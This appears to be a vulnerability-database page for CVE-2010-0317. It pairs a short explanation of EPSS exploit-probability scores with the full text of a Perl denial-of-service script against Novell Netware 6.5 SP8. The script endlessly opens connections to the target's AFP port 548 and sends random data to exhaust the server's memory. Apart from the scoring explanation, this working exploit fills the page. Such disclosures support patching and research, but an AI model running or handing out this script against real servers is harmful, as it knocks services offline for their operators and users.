CVE-2010-0317 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl # Novell Netware CIFS And AFP Remote Memory Consumption DoS # Platform: Novell Netware 6.5 SP8 # Found by Francis Provencher for Protek Research Lab's # http://protekresearch.blogspot.com/ # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service # Here is a modified version from the script written by the researcher Jeremy Brown # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html # use IO::Socket; use String::Random; $target = $ARGV[0]; $port = 548; $protocol = tcp; $maxsize = 666; $random = 0; if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize))) { print "usage: $0 <target> \n"; exit; } while(1) { $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port) or logit(); $rand = new String::Random; $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n"; $sock->send($random); close($sock); }